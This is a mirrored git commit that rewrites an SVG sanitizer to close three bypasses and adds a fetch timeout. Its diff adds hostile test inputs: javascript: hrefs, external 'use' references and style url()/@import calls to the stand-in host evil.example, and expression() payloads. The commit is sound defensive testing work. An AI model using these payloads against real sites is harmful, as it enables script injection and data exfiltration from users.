mirror of
https://github.com/heygen-com/hyperframes.git
synced 2026-11-15 13:58:20 +00:00
fix(media-use): close three sanitizer bypasses, add fetch timeout
Independent review of the maintainer pass found the SVG sanitizer (packages/core/src/figma/sanitizeSvg.ts, reused by media-use's own port) was itself bypassable: an unquoted href/xlink:href survived, inline style="..." attributes were never checked, and a href bound through a renamed XML namespace prefix (xmlns:x=".../1999/xlink", x:href=...) slipped past the literal "xlink:href" match. Rewrote sanitizeSvg as a tag/attribute tokenizer instead of a set of literal-spelling regexes: parse each tag's attributes in any quoting form, resolve the local name after stripping any namespace prefix, then drop by local name (any on* handler, any *href whose value is not a #fragment or data:image/ embed, any style attribute containing url(, @import, expression( or javascript:). Ported the fix into media-use's svg-sanitize.mjs identically. Legitimate url(#id) references on non-style attributes (clip-path, fill) are untouched. Also adds a 10s AbortSignal.timeout to freezeUrl's fetch, matching every other fetchMedia call in this package - it had a size cap but no deadline. New cases for all three bypasses in both sanitizeSvg.test.ts and the parity corpus, each reproducibly failing against the prior head.
This commit is contained in:
@@ -35,6 +35,22 @@ const HOSTILE_CORPUS = [
|
||||
],
|
||||
["<svg><rect onMouseOver=\"alert('x')\" ONCLICK='y'/></svg>", "mixed-case on* handler names"],
|
||||
['<svg><a HREF="javascript:alert(1)"><rect/></a></svg>', "mixed-case href attribute name"],
|
||||
// Reported against b7ace99b4 — see hyperframes-4291-b7ace99b.md BLOCKER 1-3.
|
||||
["<svg><a href=javascript:alert(1)><rect/></a></svg>", "unquoted javascript: href"],
|
||||
["<svg><use href=https://evil.example/x.svg#p/></svg>", "unquoted external use href"],
|
||||
['<svg><rect style="fill:url(https://evil.example/x)"/></svg>', "style url() exfil"],
|
||||
['<svg><rect style="background:@import url(evil)"/></svg>', "style @import exfil"],
|
||||
['<svg><rect style="width:expression(alert(1))"/></svg>', "style expression() exfil"],
|
||||
[`<svg><rect style="background:url('javascript:alert(1)')"/></svg>`, "style javascript: exfil"],
|
||||
['<svg><rect style="fill:#123456"/></svg>', "benign style attribute survives"],
|
||||
[
|
||||
'<svg><path clip-path="url(#clip0)" fill="url(#grad)"/></svg>',
|
||||
"url(#id) on non-style attrs survives",
|
||||
],
|
||||
[
|
||||
'<svg xmlns:x="http://www.w3.org/1999/xlink"><use x:href="https://evil.example/x.svg#p"/></svg>',
|
||||
"href via a renamed xlink namespace prefix",
|
||||
],
|
||||
];
|
||||
|
||||
describe("svg-sanitize parity: core vs media-use port", () => {
|
||||
|
||||
Reference in New Issue
Block a user